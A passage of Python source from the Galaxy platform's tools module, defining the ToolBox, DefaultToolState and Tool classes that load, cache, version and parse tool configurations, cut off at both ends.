expand_meta_parameters from galaxy.tools.parameters.wrapped_json import json_wrap from galaxy.tools.test import parse_tests from galaxy.util import ( in_directory, listify, Params, parse_xml_string, rst_to_html, string_as_bool, unicodify, XML, ) from galaxy.util.bunch import Bunch from galaxy.util.dictifiable import Dictifiable from galaxy.util.expressions import ExpressionContext from galaxy.util.form_builder import SelectField from galaxy.util.json import safe_loads from galaxy.util.rules_dsl import RuleSet from galaxy.util.template import ( fill_template, refactoring_tool, ) from galaxy.util.tool_shed.common_util import ( get_tool_shed_repository_url, get_tool_shed_url_from_tool_shed_registry, ) from galaxy.version import VERSION_MAJOR from galaxy.work.context import proxy_work_context_for_history from .execute import execute as execute_job from .execute import MappingParameters if TYPE_CHECKING: from galaxy.managers.jobs import JobSearch from galaxy.tools.actions.metadata import SetMetadataToolAction log = logging.getLogger(__name__) REQUIRES_JS_RUNTIME_MESSAGE = ( "The tool [%s] requires a nodejs runtime to execute " "but node or nodejs could not be found. Please contact the Galaxy adminstrator" ) HELP_UNINITIALIZED = threading.Lock() MODEL_TOOLS_PATH = os.path.abspath(os.path.dirname(__file__)) # Tools that require Galaxy's Python environment to be preserved. GALAXY_LIB_TOOLS_UNVERSIONED = [ "upload1", "send_to_cloud", "__DATA_FETCH__", "directory_uri", "export_remote", # Legacy tools bundled with Galaxy. "laj_1", "gff2bed1", "gff_filter_by_feature_count", "Interval_Maf_Merged_Fasta2", "GeneBed_Maf_Fasta2", "maf_stats1", "Interval2Maf1", "Interval2Maf_pairwise1", "MAF_To_Interval1", "MAF_filter", "MAF_To_Fasta1", "MAF_Reverse_Complement_1", "MAF_split_blocks_by_species1", "MAF_Limit_To_Species1", "maf_by_block_number1", # Converters "CONVERTER_bed_to_fli_0", "CONVERTER_gff_to_fli_0", "CONVERTER_gff_to_interval_index_0", "CONVERTER_maf_to_fasta_0", "CONVERTER_maf_to_interval_0", # Tools improperly migrated to the tool shed (devteam) "qualityFilter", "pileup_interval", "count_gff_features", "lastz_paired_reads_wrapper", "subRate1", "find_diag_hits", # Tools improperly migrated using Galaxy (from shed other) "column_join", "gd_coverage_distributions", # Genome Diversity tools from miller-lab "gd_dpmix", "gd_pca", "gd_phylogenetic_tree", "gd_population_structure", "gd_prepare_population_structure", ] # Tools that needed galaxy on the PATH in the past but no longer do along # with the version at which they were fixed. GALAXY_LIB_TOOLS_VERSIONED = { "meme_fimo": packaging.version.parse("5.0.5"), "Extract genomic DNA 1": packaging.version.parse("3.0.0"), "fetchflank": packaging.version.parse("1.0.1"), "gops_intersect_1": packaging.version.parse("1.0.0"), "lastz_wrapper_2": packaging.version.parse("1.3"), "PEsortedSAM2readprofile": packaging.version.parse("1.1.1"), "sam_to_bam": packaging.version.parse("1.1.3"), "sam_pileup": packaging.version.parse("1.1.3"), "vcf_to_maf_customtrack1": packaging.version.parse("1.0.1"), "secure_hash_message_digest": packaging.version.parse("0.0.2"), "join1": packaging.version.parse("2.1.3"), "wiggle2simple1": packaging.version.parse("1.0.1"), "CONVERTER_wiggle_to_interval_0": packaging.version.parse("1.0.1"), "aggregate_scores_in_intervals2": packaging.version.parse("1.1.4"), "CONVERTER_fastq_to_fqtoc0": packaging.version.parse("1.0.1"), "CONVERTER_tar_to_directory": packaging.version.parse("1.0.1"), "tabular_to_dbnsfp": packaging.version.parse("1.0.1"), "cufflinks": packaging.version.parse("2.2.1.3"), "Convert characters1": packaging.version.parse("1.0.1"), "substitutions1": packaging.version.parse("1.0.1"), "winSplitter": packaging.version.parse("1.0.1"), } REQUIRE_FULL_DIRECTORY = { "includes": [{"path": "**", "path_type": "glob"}], } IMPLICITLY_REQUIRED_TOOL_FILES: Dict[str, Dict] = { "deseq2": { "version": packaging.version.parse("2.11.40.6"), "required": {"includes": [{"path": "*.R", "path_type": "glob"}]}, }, # minimum example: # "foobar": {"required": REQUIRE_FULL_DIRECTORY} # if no version is specified, all versions without explicit RequiredFiles will be selected "circos": {"required": REQUIRE_FULL_DIRECTORY}, "cp_image_math": {"required": {"includes": [{"path": "cp_common_functions.py", "path_type": "literal"}]}}, "enumerate_charges": {"required": {"includes": [{"path": "site_substructures.smarts", "path_type": "literal"}]}}, "fasta_compute_length": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "fasta_concatenate0": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "filter_tabular": {"required": {"includes": [{"path": "*.py", "path_type": "glob"}]}}, "flanking_features_1": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "gops_intersect_1": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "gops_subtract_1": {"required": {"includes": [{"path": "utils/*", "path_type": "glob"}]}}, "maxquant": {"required": {"includes": [{"path": "mqparam.py", "path_type": "literal"}]}}, "maxquant_mqpar": {"required": {"includes": [{"path": "mqparam.py", "path_type": "literal"}]}}, "query_tabular": {"required": {"includes": [{"path": "*.py", "path_type": "glob"}]}}, "shasta": {"required": {"includes": [{"path": "configs/*", "path_type": "glob"}]}}, "sqlite_to_tabular": {"required": {"includes": [{"path": "*.py", "path_type": "glob"}]}}, "sucos_max_score": {"required": {"includes": [{"path": "utils.py", "path_type": "literal"}]}}, } class safe_update(NamedTuple): min_version: Union[packaging.version.LegacyVersion, packaging.version.Version] current_version: Union[packaging.version.LegacyVersion, packaging.version.Version] # Tool updates that did not change parameters in a way that requires rebuilding workflows WORKFLOW_SAFE_TOOL_VERSION_UPDATES = { "Filter1": safe_update(packaging.version.parse("1.1.0"), packaging.version.parse("1.1.1")), "__BUILD_LIST__": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.1.0")), "__APPLY_RULES__": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.1.0")), "__EXTRACT_DATASET__": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.0.1")), "Grep1": safe_update(packaging.version.parse("1.0.1"), packaging.version.parse("1.0.3")), "Show beginning1": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.0.1")), "Show tail1": safe_update(packaging.version.parse("1.0.0"), packaging.version.parse("1.0.1")), "sort1": safe_update(packaging.version.parse("1.1.0"), packaging.version.parse("1.2.0")), } class ToolNotFoundException(Exception): pass def create_tool_from_source(app, tool_source, config_file=None, **kwds): # Allow specifying a different tool subclass to instantiate tool_module = tool_source.parse_tool_module() if tool_module is not None: module, cls = tool_module mod = __import__(module, globals(), locals(), [cls]) ToolClass = getattr(mod, cls) elif tool_source.parse_tool_type(): tool_type = tool_source.parse_tool_type() ToolClass = tool_types.get(tool_type) else: # Normal tool root = getattr(tool_source, "root", None) ToolClass = Tool tool = ToolClass(config_file, tool_source, app, **kwds) return tool class ToolBox(BaseGalaxyToolBox): """A derivative of AbstractToolBox with knowledge about Tool internals - how to construct them, action types, dependency management, etc.... """ def __init__(self, config_filenames, tool_root_dir, app, save_integrated_tool_panel=True): self._reload_count = 0 self.tool_location_fetcher = ToolLocationFetcher() self.cache_regions = {} # This is here to deal with the old default value, which doesn't make # sense in an "installed Galaxy" world. # FIXME: ./ if tool_root_dir == "./tools": tool_root_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), "bundled")) view_sources = StaticToolBoxViewSources( view_directories=app.config.panel_views_dir, view_dicts=app.config.panel_views, ) default_panel_view = app.config.default_panel_view super().__init__( config_filenames=config_filenames, tool_root_dir=tool_root_dir, app=app, view_sources=view_sources, default_panel_view=default_panel_view, save_integrated_tool_panel=save_integrated_tool_panel, ) def persist_cache(self, register_postfork=False): """ Persists any modified tool cache files to disk. Set ``register_postfork`` to stop database thread queue, close database connection and register re-open function that re-opens the database after forking. """ for region in self.cache_regions.values(): if not region.disabled: region.persist() if register_postfork: region.close() self.app.application_stack.register_postfork_function(region.reopen_ro) def can_load_config_file(self, config_filename): if config_filename == self.app.config.shed_tool_config_file and not self.app.config.is_set( "shed_tool_config_file" ): if self.dynamic_confs(): # Do not load or create a default shed_tool_config_file if another shed_tool_config file has already been loaded return False elif self.app.config.is_set("tool_config_file"): log.warning( "The default shed tool config file (%s) has been added to the tool_config_file option, if this is " "not the desired behavior, please set shed_tool_config_file to your primary shed-enabled tool " "config file", self.app.config.shed_tool_config_file, ) return True def has_reloaded(self, other_toolbox): return self._reload_count != other_toolbox._reload_count @property def all_requirements(self): reqs = {req for _, tool in self.tools() for req in tool.tool_requirements} return [r.to_dict() for r in reqs] @property def tools_by_id(self): # Deprecated method, TODO - eliminate calls to this in test/. return self._tools_by_id def get_cache_region(self, tool_cache_data_dir): if self.app.config.enable_tool_document_cache: if tool_cache_data_dir not in self.cache_regions: self.cache_regions[tool_cache_data_dir] = ToolDocumentCache(cache_dir=tool_cache_data_dir) return self.cache_regions[tool_cache_data_dir] def create_tool(self, config_file, tool_cache_data_dir=None, **kwds): cache = self.get_cache_region(tool_cache_data_dir or self.app.config.tool_cache_data_dir) if config_file.endswith(".xml") and cache and not cache.disabled: tool_document = cache.get(config_file) if tool_document: tool_source = self.get_expanded_tool_source( config_file=config_file, xml_tree=etree.ElementTree(etree.fromstring(tool_document["document"].encode("utf-8"))), macro_paths=tool_document["macro_paths"], ) else: tool_source = self.get_expanded_tool_source(config_file) cache.set(config_file, tool_source) else: tool_source = self.get_expanded_tool_source(config_file) tool = self._create_tool_from_source(tool_source, config_file=config_file, **kwds) if not self.app.config.delay_tool_initialization: tool.assert_finalized(raise_if_invalid=True) return tool def get_expanded_tool_source(self, config_file, **kwargs): try: return get_tool_source( config_file, enable_beta_formats=getattr(self.app.config, "enable_beta_tool_formats", False), tool_location_fetcher=self.tool_location_fetcher, **kwargs, ) except Exception as e: # capture and log parsing errors global_tool_errors.add_error(config_file, "Tool XML parsing", e) raise e def _create_tool_from_source(self, tool_source, **kwds): return create_tool_from_source(self.app, tool_source, **kwds) def create_dynamic_tool(self, dynamic_tool, **kwds): tool_format = dynamic_tool.tool_format tool_representation = dynamic_tool.value tool_source = get_tool_source_from_representation( tool_format=tool_format, tool_representation=tool_representation, ) kwds["dynamic"] = True tool = self._create_tool_from_source(tool_source, **kwds) tool.dynamic_tool = dynamic_tool tool.uuid = dynamic_tool.uuid if not tool.id: tool.id = dynamic_tool.tool_id if not tool.name: tool.name = tool.id return tool def get_tool_components(self, tool_id, tool_version=None, get_loaded_tools_by_lineage=False, set_selected=False): """ Retrieve all loaded versions of a tool from the toolbox and return a select list enabling selection of a different version, the list of the tool's loaded versions, and the specified tool. """ toolbox = self tool_version_select_field = None tools = [] tool = None # Backwards compatibility for datasource tools that have default tool_id configured, but which # are now using only GALAXY_URL. tool_ids = listify(tool_id) for tool_id in tool_ids: if tool_id.endswith("/"): # Some data sources send back redirects ending with `/`, this takes care of that case tool_id = tool_id[:-1] if get_loaded_tools_by_lineage: tools = toolbox.get_loaded_tools_by_lineage(tool_id) else: tools = toolbox.get_tool(tool_id, tool_version=tool_version, get_all_versions=True) if tools: tool = toolbox.get_tool(tool_id, tool_version=tool_version, get_all_versions=False) if len(tools) > 1: tool_version_select_field = self.__build_tool_version_select_field(tools, tool.id, set_selected) break return tool_version_select_field, tools, tool def _path_template_kwds(self): return { "model_tools_path": MODEL_TOOLS_PATH, } def _get_tool_shed_repository(self, tool_shed, name, owner, installed_changeset_revision): # Abstract toolbox doesn't have a dependency on the database, so # override _get_tool_shed_repository here to provide this information. return get_installed_repository( self.app, tool_shed=tool_shed, name=name, owner=owner, installed_changeset_revision=installed_changeset_revision, from_cache=True, ) def __build_tool_version_select_field(self, tools, tool_id, set_selected): """Build a SelectField whose options are the ids for the received list of tools.""" options: List[Tuple[str, str]] = [] for tool in tools: options.insert(0, (tool.version, tool.id)) select_field = SelectField(name="tool_id") for option_tup in options: selected = set_selected and option_tup[1] == tool_id if selected: select_field.add_option(f"version {option_tup[0]}", option_tup[1], selected=True) else: select_field.add_option(f"version {option_tup[0]}", option_tup[1]) return select_field class DefaultToolState: """ Keeps track of the state of a users interaction with a tool between requests. """ def __init__(self): self.page = 0 self.rerun_remap_job_id = None self.inputs = {} def initialize(self, trans, tool): """ Create a new `DefaultToolState` for this tool. It will be initialized with default values for inputs. Grouping elements are filled in recursively. """ self.inputs = {} context = ExpressionContext(self.inputs) for input in tool.inputs.values(): self.inputs[input.name] = input.get_initial_value(trans, context) def encode(self, tool, app, nested=False): """ Convert the data to a string """ value = params_to_strings(tool.inputs, self.inputs, app, nested=nested) value["__page__"] = self.page value["__rerun_remap_job_id__"] = self.rerun_remap_job_id return value def decode(self, values, tool, app): """ Restore the state from a string """ values = safe_loads(values) or {} self.page = values.pop("__page__") if "__page__" in values else None self.rerun_remap_job_id = values.pop("__rerun_remap_job_id__") if "__rerun_remap_job_id__" in values else None self.inputs = params_from_strings(tool.inputs, values, app, ignore_errors=True) def copy(self): """ Shallow copy of the state """ new_state = DefaultToolState() new_state.page = self.page new_state.rerun_remap_job_id = self.rerun_remap_job_id new_state.inputs = self.inputs return new_state class _Options(Bunch): sanitize: str refresh: str class Tool(Dictifiable): """ Represents a computational tool that can be executed through Galaxy. """ tool_type = "default" requires_setting_metadata = True produces_entry_points = False default_tool_action = DefaultToolAction tool_action: ToolAction tool_type_local = False dict_collection_visible_keys = ["id", "name", "version", "description", "labels"] __help: Optional[threading.Lock] __help_by_page: Union[threading.Lock, List[str]] job_search: "JobSearch" version: str def __init__( self, config_file, tool_source, app, guid=None, repository_id=None, tool_shed_repository=None, allow_code_files=True, dynamic=False, tool_dir=None, ): """Load a tool from the config named by `config_file`""" # Determine the full path of the directory where the tool config is if config_file is not None: self.config_file = config_file self.tool_dir = tool_dir or os.path.dirname(config_file) else: self.config_file = None self.tool_dir = tool_dir self.app = app self.repository_id = repository_id self._allow_code_files = allow_code_files # setup initial attribute values self.stdio_exit_codes = list() self.stdio_regexes = list() self.inputs_by_page = list() self.display_by_page = list() self.action: Union[str, Tuple[str, str]] = "/tool_runner/index" self.target = "galaxy_main" self.method = "post" self.labels = [] self.check_values = True self.nginx_upload = False self.input_required = False self.display_interface = True self.require_login = False self.rerun = False # This will be non-None for tools loaded from the database (DynamicTool objects). self.dynamic_tool = None # Define a place to keep track of all input These # differ from the inputs dictionary in that inputs can be page # elements like conditionals, but input_params are basic form # parameters like SelectField objects. This enables us to more # easily ensure that parameter dependencies like index files or # tool_data_table_conf.xml entries exist. self.input_params = [] # Attributes of tools installed from Galaxy tool sheds. self.tool_shed = None self.repository_name = None self.repository_owner = None self.changeset_revision = None self.installed_changeset_revision = None self.sharable_url = None # The tool.id value will be the value of guid, but we'll keep the # guid attribute since it is useful to have. self.guid = guid self.old_id = None self.python_template_version = None self._lineage = None self.dependencies = [] # populate toolshed repository info, if available self.populate_tool_shed_info(tool_shed_repository) # add tool resource parameters self.populate_resource_parameters(tool_source) self.tool_errors = None # Parse XML element containing configuration self.tool_source = tool_source self._is_workflow_compatible = None self.finalized = False try: self.parse(tool_source, guid=guid, dynamic=dynamic) except Exception as e: global_tool_errors.add_error(config_file, "Tool Loading", e) raise e # The job search is only relevant in a galaxy context, and breaks # loading tools into the toolshed for validation. if self.app.name == "galaxy": self.job_search = self.app.job_search def __getattr__(self, name): lazy_attributes = { "action", "check_values", "display_by_page", "enctype", "has_multiple_pages", "inputs", "inputs_by_page", "last_page", "method", "npages", "nginx_upload", "target", "template_macro_params", "outputs", "output_collections", } if name in lazy_attributes: self.assert_finalized() return getattr(self, name) raise AttributeError(name) def assert_finalized(self, raise_if_invalid=False): if self.finalized is False: try: self.parse_inputs(self.tool_source) self.parse_outputs(self.tool_source) self.finalized = True except Exception: toolbox = getattr(self.app, "toolbox", None) if toolbox: toolbox.remove_tool_by_id(self.id) if raise_if_invalid: raise else: log.warning( "An error occured while parsing the tool wrapper xml, the tool is not functional", exc_info=True ) def remove_from_cache(self): source_path = self.tool_source._source_path if source_path: for region in self.app.toolbox.cache_regions.values(): region.delete(source_path) @property def history_manager(self): return self.app.history_manager @property def _view(self): return self.app.dependency_resolvers_view @property def version_object(self): return packaging.version.parse(self.version) @property def sa_session(self): """Returns a SQLAlchemy session""" return self.app.model.context @property def lineage(self): """Return ToolLineage for this tool.""" return self._lineage @property def tool_versions(self): # If we have versions, return them. if self.lineage: return list(self.lineage.tool_versions) else: return [] @property def is_latest_version(self): tool_versions = self.tool_versions return not tool_versions or self.version == self.tool_versions[-1] @property def latest_version(self): if self.is_latest_version: return self else: return self.app.tool_cache.get_tool_by_id(self.lineage.get_versions()[-1].id) @property def is_datatype_converter(self): return self in self.app.datatypes_registry.converter_tools @property def tool_shed_repository(self): # If this tool is included in an installed tool shed repository, return it. if self.tool_shed: return get_installed_repository( self.app, tool_shed=self.tool_shed, name=self.repository_name, owner=self.repository_owner, installed_changeset_revision=self.installed_changeset_revision, from_cache=True, ) @property def produces_collections_with_unknown_structure(self): def output_is_dynamic(output): if not output.collection: return False return output.dynamic_structure return any(map(output_is_dynamic, self.outputs.values())) @property def valid_input_states(self): return model.Dataset.valid_input_states @property def requires_galaxy_python_environment(self): """Indicates this tool's runtime requires Galaxy's Python environment.""" # All special tool types (data source, history import/export, etc...) # seem to require Galaxy's Python. # FIXME: the (instantiated) tool class should emit this behavior, and not # use inspection by string check if self.tool_type not in ["default", "manage_data", "interactive", "data_source"]: return True if self.tool_type == "manage_data" and self.profile < 18.09: return True if self.tool_type == "data_source" and self.profile < 21.09: return True config = self.app.config preserve_python_environment = config.preserve_python_environment if preserve_python_environment == "always": return True elif preserve_python_environment == "legacy_and_local" and self.tool_shed is None: return True else: unversioned_legacy_tool = self.old_id in GALAXY_LIB_TOOLS_UNVERSIONED versioned_legacy_tool = self.old_id in GALAXY_LIB_TOOLS_VERSIONED legacy_tool = unversioned_legacy_tool or ( versioned_legacy_tool and self.old_id and self.version_object < GALAXY_LIB_TOOLS_VERSIONED[self.old_id] ) return legacy_tool def __get_job_tool_configuration(self, job_params=None): """Generalized method for getting this tool's job configuration. :type job_params: dict or None :returns: `galaxy.jobs.JobToolConfiguration` -- JobToolConfiguration that matches this `Tool` and the given `job_params` """ rval = None if len(self.job_tool_configurations) == 1: # If there's only one config, use it rather than wasting time on comparisons rval = self.job_tool_configurations[0] elif job_params is None: for job_tool_config in self.job_tool_configurations: if not job_tool_config.params: rval = job_tool_config break else: for job_tool_config in self.job_tool_configurations: if job_tool_config.params: # There are job params and this config has params defined for param, value in job_params.items(): if param not in job_tool_config.params or job_tool_config.params[param] != value: break else: # All params match, use this config rval = job_tool_config break else: rval = job_tool_config assert ( rval is not None ), f"Could not get a job tool configuration for Tool {self.id} with job_params {job_params}, this is a bug" return rval def get_configured_job_handler(self, job_params=None): """Get the configured job handler for this `Tool` given the provided `job_params`. Unlike the former ``get_job_handler()`` method, this does not perform "preassignment" (random selection of a configured handler ID from a tag). :param job_params: Any params specific to this job (e.g. the job source) :type job_params: dict or None :returns: str or None -- The configured handler for a job run of this `Tool` """ return self.__get_job_tool_configuration(job_params=job_params).handler def get_job_destination(self, job_params=None): """ :returns: galaxy.jobs.JobDestination -- The destination definition and runner parameters. """ return self.app.job_config.get_destination(self.__get_job_tool_configuration(job_params=job_params).destination) def get_panel_section(self): return self.app.toolbox.get_section_for_tool(self) def allow_user_access(self, user, attempting_access=True): """ :returns: bool -- Whether the user is allowed to access the tool. """ if self.require_login and user is None: return False return True def parse(self, tool_source, guid=None, dynamic=False): """ Read tool configuration from the element `root` and fill in `self`. """ self.profile = float(tool_source.parse_profile()) # Get the UNIQUE id for the tool self.old_id = tool_source.parse_id() if guid is None: self.id = self.old_id else: self.id = guid if not dynamic and not self.id: raise Exception(f"Missing tool 'id' for tool at '{tool_source}'") profile = packaging.version.parse(str(self.profile)) if ( self.app.name == "galaxy" and profile >= packaging.version.parse("16.04") and packaging.version.parse(VERSION_MAJOR) < profile ): message = f"The tool [{self.id}] targets version {self.profile} of Galaxy, you should upgrade Galaxy to ensure proper functioning of this tool." raise Exception(message) self.python_template_version = tool_source.parse_python_template_version() if self.python_template_version is None: # If python_template_version not specified we assume tools with profile versions >= 19.05 are python 3 ready if self.profile >= 19.05: self.python_template_version = packaging.version.parse("3.5") else: self.python_template_version = packaging.version.parse("2.7") # Get the (user visible) name of the tool self.name = tool_source.parse_name() if not self.name and dynamic: self.name = self.id if not dynamic and not self.name: raise Exception(f"Missing tool 'name' for tool with id '{self.id}' at '{tool_source}'") self.version = tool_source.parse_version() if not self.version: if self.profile < 16.04: # For backward compatibility, some tools may not have versions yet. self.version = "1.0.0" else: raise Exception(f"Missing tool 'version' for tool with id '{self.id}' at '{tool_source}'") # Legacy feature, ignored by UI. self.force_history_refresh = False self.display_interface = tool_source.parse_display_interface(default=self.display_interface) self.require_login = tool_source.parse_require_login(self.require_login) request_param_translation_elem = tool_source.parse_request_param_translation_elem() if request_param_translation_elem is not None: # Load input translator, used by datasource tools to change names/values of incoming parameters self.input_translator = ToolInputTranslator.from_element(request_param_translation_elem) else: self.input_translator = None self.parse_command(tool_source) self.environment_variables = self.parse_environment_variables(tool_source) self.tmp_directory_vars = tool_source.parse_tmp_directory_vars() home_target = tool_source.parse_home_target() tmp_target = tool_source.parse_tmp_target() # If a tool explicitly sets one of these variables just respect that and turn off # explicit processing by Galaxy. for environment_variable in self.environment_variables: if environment_variable.get("name") == "HOME": home_target = None continue for tmp_directory_var in self.tmp_directory_vars: if environment_variable.get("name") == tmp_directory_var: tmp_target = None break self.home_target = home_target self.tmp_target = tmp_target self.docker_env_pass_through = tool_source.parse_docker_env_pass_through() if self.environment_variables: if not self.docker_env_pass_through: self.docker_env_pass_through = [] self.docker_env_pass_through.extend(map(lambda x: x["name"], self.environment_variables)) # Parameters used to build URL for redirection to external app redirect_url_params = tool_source.parse_redirect_url_params_elem() if redirect_url_params is not None and redirect_url_params.text is not None: # get rid of leading / trailing white space redirect_url_params = redirect_url_params.text.strip() # Replace remaining white space with something we can safely split on later # when we are building the params self.redirect_url_params = redirect_url_params.replace(" ", "**^**") else: self.redirect_url_params = "" # Short description of the tool self.description = tool_source.parse_description() # Versioning for tools self.version_string_cmd = None version_command = tool_source.parse_version_command() if version_command is not None: self.version_string_cmd = version_command.strip() version_cmd_interpreter = tool_source.parse_version_command_interpreter() if version_cmd_interpreter: executable = self.version_string_cmd.split()[0] abs_executable = os.path.abspath(os.path.join(self.tool_dir, executable)) command_line = self.version_string_cmd.replace(executable, abs_executable, 1) self.version_string_cmd = f"{version_cmd_interpreter} {command_line}" # Parallelism for tasks, read from tool config. self.parallelism = tool_source.parse_parallelism() # Get JobToolConfiguration(s) valid for this particular Tool. At least # a 'default' will be provided that uses the 'default' handler and # 'default' destination. I thought about moving this to the # job_config, but it makes more sense to store here. -nate if self.id: self_ids = [self.id.lower()] if self.old_id != self.id: # Handle toolshed guids self_ids = [self.id.lower(), self.id.lower().rsplit("/", 1)[0], self.old_id.lower()] else: self_ids = [] self.all_ids = self_ids # In the toolshed context, there is no job config. if hasattr(self.app, "job_config"): # Order of this list must match documentation in job_conf.sample_advanced.yml tool_classes = [] if self.tool_type_local: tool_classes.append("local") elif self.old_id in ["upload1", "__DATA_FETCH__"]: tool_classes.append("local") if self.requires_galaxy_python_environment: tool_classes.append("requires_galaxy") self.job_tool_configurations = self.app.job_config.get_job_tool_configurations(self_ids, tool_classes) # Is this a 'hidden' tool (hidden in tool menu) self.hidden = tool_source.parse_hidden() self.license = tool_source.parse_license() self.creator = tool_source.parse_creator() self.__parse_legacy_features(tool_source) # Load any tool specific options (optional) self.options = _Options( **dict( sanitize=tool_source.parse_sanitize(), refresh=tool_source.parse_refresh(), ) ) # Read in name of galaxy.json metadata file and how to parse it. self.provided_metadata_file = tool_source.parse_provided_metadata_file() self.provided_metadata_style = tool_source.parse_provided_metadata_style() # Parse tool help self.parse_help(tool_source) # Parse result handling for tool exit codes and stdout/stderr messages: self.parse_stdio(tool_source) self.strict_shell = tool_source.parse_strict_shell() # Any extra generated config files for the tool self.__parse_config_files(tool_source) # Action action = tool_source.parse_action_module() if action is None: self.tool_action = self.default_tool_action() else: module, cls = action mod = __import__(module, globals(), locals(), [cls]) self.tool_action = getattr(mod, cls)() if getattr(self.tool_action, "requires_js_runtime", False): try: expressions.find_engine(self.app.config) except Exception: message = REQUIRES_JS_RUNTIME_MESSAGE % self.tool_id or self.tool_uuid raise Exception(message) # Tests self.__parse_tests(tool_source) # Requirements (dependencies) requirements, containers = tool_source.parse_requirements_and_containers() self.requirements = requirements self.containers = containers required_files = tool_source.parse_required_files() if required_files is None: old_id = self.old_id if old_id in IMPLICITLY_REQUIRED_TOOL_FILES: lineage_requirement = IMPLICITLY_REQUIRED_TOOL_FILES[old_id] lineage_requirement_until = lineage_requirement.get("version") if lineage_requirement_until is None or self.version_object < lineage_requirement_until: required_files = RequiredFiles.from_dict(lineage_requirement["required"]) self.required_files = required_files self.citations = self._parse_citations(tool_source) ontology_data = expand_ontology_data( tool_source, self.all_ids, self.app.biotools_metadata_source, ) self.xrefs = ontology_data.xrefs self.edam_operations = ontology_data.edam_operations self.edam_topics = ontology_data.edam_topics self.__parse_trackster_conf(tool_source) # Record macro paths so we can reload a tool if any of its macro has changes self._macro_paths = tool_source.macro_paths self.ports = tool_source.parse_interactivetool() def __parse_legacy_features(self, tool_source): self.code_namespace: Dict[str, str] = {} self.hook_map: Dict[str, str] = {} self.uihints: Dict[str, str] = {} if not hasattr(tool_source, "root"): return # TODO: Move following logic into XmlToolSource. root = tool_source.root # Load any tool specific code (optional) Edit: INS 5/29/2007, # allow code files to have access to the individual tool's # "module" if it has one. Allows us to reuse code files, etc. for code_elem in root.findall("code"): for hook_elem in code_elem.findall("hook"): for key, value in hook_elem.items(): # map hook to function self.hook_map[key] = value file_name = code_elem.get("file") code_path = os.path.join(self.tool_dir, file_name) if self._allow_code_files: with open(code_path) as f: code_string = f.read() try: compiled_code = compile(code_string, code_path, "exec") exec(compiled_code, self.code_namespace) except Exception: if ( refactoring_tool and self.python_template_version and self.python_template_version.release[0] < 3 ): # Could be a code file that uses python 2 syntax translated_code = str( refactoring_tool.refactor_string(code_string, name="auto_translated_code_file") ) compiled_code = compile(translated_code, f"futurized_{code_path}", "exec") exec(compiled_code, self.code_namespace) else: raise # User interface hints uihints_elem = root.find("uihints") if uihints_elem is not None: for key, value in uihints_elem.attrib.items(): self.uihints[key] = value def __parse_tests(self, tool_source): self.__tests_source = tool_source self.__tests_populated = False def __parse_config_files(self, tool_source): self.config_files = [] if not hasattr(tool_source, "root"): return root = tool_source.root conf_parent_elem = root.find("configfiles") if conf_parent_elem is not None: inputs_elem = conf_parent_elem.find("inputs") if inputs_elem is not None: name = inputs_elem.get("name") filename = inputs_elem.get("filename", None) format = inputs_elem.get("format", "json") data_style = inputs_elem.get("data_style", "skip") content = dict(format=format, handle_files=data_style, type="inputs") self.config_files.append((name, filename, content)) file_sources_elem = conf_parent_elem.find("file_sources") if file_sources_elem is not None: name = file_sources_elem.get("name") filename = file_sources_elem.get("filename", None) content = dict(type="files") self.config_files.append((name, filename, content)) for conf_elem in conf_parent_elem.findall("configfile"): name = conf_elem.get("name") filename = conf_elem.get("filename", None) content = conf_elem.text self.config_files.append((name, filename, content)) def __parse_trackster_conf(self, tool_source): self.trackster_conf = None if not hasattr(tool_source, "root"): return # Trackster configuration. trackster_conf = tool_source.root.find("trackster_conf") if trackster_conf is not None: self.trackster_conf = TracksterConfig.parse(trackster_conf) @property def tests(self): self.assert_finalized() if not self.__tests_populated: tests_source = self.__tests_source if tests_source: try: self.__tests = parse_tests(self, tests_source) except Exception: self.__tests = None log.exception("Failed to parse tool tests for tool '%s'", self.id) else: self.__tests = None self.__tests_populated = True return self.__tests @property def _repository_dir(self): """If tool shed installed tool, the base directory of the repository installed.""" repository_base_dir = None if getattr(self, "tool_shed", None): tool_dir = Path(self.tool_dir) for repo_dir in itertools.chain([tool_dir], tool_dir.parents): if repo_dir.name == self.repository_name: return str(repo_dir) else: log.error(f"Problem finding repository dir for tool '{self.id}'") return repository_base_dir def test_data_path(self, filename): repository_dir = self._repository_dir test_data = None if repository_dir: test_data = self.__walk_test_data(dir=repository_dir, filename=filename) else: if self.tool_dir: tool_dir = self.tool_dir if isinstance(self, DataManagerTool): tool_dir = os.path.dirname(self.tool_dir) test_data = self.__walk_test_data(tool_dir, filename=filename) if not test_data: # Fallback to Galaxy test data directory for builtin tools, tools # under development, and some older ToolShed published tools that # used stock test data. test_data = self.app.test_data_resolver.get_filename(filename) return test_data def __walk_test_data(self, dir, filename): for root, dirs, _ in os.walk(dir): if ".hg" in dirs: dirs.remove(".hg") if "test-data" in dirs: test_data_dir = os.path.join(root, "test-data") result = os.path.abspath(os.path.join(test_data_dir, filename)) if not in_directory(result, test_data_dir): # Don't raise an explicit exception and reveal details about what # files are or are not on the path, simply return None and let the # API raise a 404. return None else: if os.path.exists(result): return result def tool_provided_metadata(self, job_wrapper): meta_file = os.path.join(job_wrapper.tool_working_directory, self.provided_metadata_file) return parse_tool_provided_metadata( meta_file, provided_metadata_style=self.provided_metadata_style, job_wrapper=job_wrapper ) def parse_command(self, tool_source): """ """ # Command line (template). Optional for tools that do not invoke a local program command = tool_source.parse_command() if command is not None: self.command = command.lstrip() # get rid of leading whitespace # Must pre-pend this AFTER processing the cheetah command template self.interpreter = tool_source.parse_interpreter() else: self.command = "" self.interpreter = None def parse_environment_variables(self, tool_source): return tool_source.parse_environment_variables() def parse_inputs(self, tool_source): """ Parse the "<inputs>" element and create appropriate `ToolParameter` s. This implementation supports multiple pages and grouping constructs. """ # Load parameters (optional) self.inputs = {} pages = tool_source.parse_input_pages() enctypes: Set[str] = set() if pages.inputs_defined: if hasattr(pages, "input_elem"): input_elem = pages.input_elem # Handle properties of the input form self.check_values = string_as_bool(input_elem.get("check_values", self.check_values)) self.nginx_upload = string_as_bool(input_elem.get("nginx_upload", 